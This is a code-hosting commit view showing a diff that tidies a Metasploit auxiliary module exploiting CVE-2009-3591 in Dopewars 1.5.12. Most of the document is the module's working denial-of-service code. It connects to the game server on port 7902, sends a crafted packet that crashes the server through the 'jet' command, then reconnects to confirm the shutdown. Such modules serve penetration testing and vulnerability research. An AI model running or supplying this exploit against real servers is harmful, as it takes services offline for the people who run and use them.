fixed errors in dopewars.rb shown by msftidy
parent
b5c3161ceb
commit
70da739666
|
@ -1,8 +1,9 @@
|
|||
# Dopewars DOS attack
|
||||
#
|
||||
# The jet command in Dopewars <= 1.5.12 is vulnerable to a segmentaion
|
||||
# fault due to a lack of input validation.
|
||||
#
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
@ -10,51 +11,51 @@ class Metasploit4 < Msf::Auxiliary
|
|||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Dopewars Denial of Service',
|
||||
'Description' => %q{
|
||||
The jet command in Dopewars 1.5.12 is vulnerable to a segmentaion fault due to a lack of input validation.
|
||||
super(update_info(info,
|
||||
'Name' => 'Dopewars Denial of Service',
|
||||
'Description' => %q{
|
||||
The jet command in Dopewars 1.5.12 is vulnerable to a segmentaion fault due to a lack of input validation.
|
||||
},
|
||||
'Author' => [ 'Doug Prostko <dougtko[at]gmail.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '0.0.2',
|
||||
'References' =>
|
||||
'Author' => [ 'Doug Prostko <dougtko[at]gmail.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '0.0.2',
|
||||
'References' =>
|
||||
[
|
||||
[ 'BID', '36606' ],
|
||||
[ 'CVE', 'CVE-2009-3591' ],
|
||||
[ 'CVE', '2009-3591' ],
|
||||
]))
|
||||
|
||||
|
||||
register_options([Opt::RPORT(7902),], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
# The jet command is vulnerable.
|
||||
# Program received signal SIGSEGV, Segmentation fault.
|
||||
# [Switching to Thread 0xb74916c0 (LWP 30638)]
|
||||
# 0x08062f6e in HandleServerMessage (buf=0x8098828 "", Play=0x809a000) at
|
||||
# serverside.c:525
|
||||
# 525 dopelog(4, LF_SERVER, "%s jets to %s",
|
||||
#
|
||||
connect
|
||||
# The jet command is vulnerable.
|
||||
# Program received signal SIGSEGV, Segmentation fault.
|
||||
# [Switching to Thread 0xb74916c0 (LWP 30638)]
|
||||
# 0x08062f6e in HandleServerMessage (buf=0x8098828 "", Play=0x809a000) at
|
||||
# serverside.c:525
|
||||
# 525 dopelog(4, LF_SERVER, "%s jets to %s",
|
||||
#
|
||||
connect
|
||||
pkt = "foo^^Ar1111111\n^^Acfoo\n^AV65536\n"
|
||||
print_status("Sending dos packet...")
|
||||
sock.put(pkt)
|
||||
disconnect
|
||||
|
||||
print_status("Checking for success...")
|
||||
sleep 2
|
||||
begin
|
||||
connect
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_good("Dopewars server succesfully shut down!")
|
||||
else
|
||||
print_error("DOS attack unsuccessful")
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
print_status("Checking for success...")
|
||||
sleep 2
|
||||
begin
|
||||
connect
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_good("Dopewars server succesfully shut down!")
|
||||
else
|
||||
print_error("DOS attack unsuccessful")
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue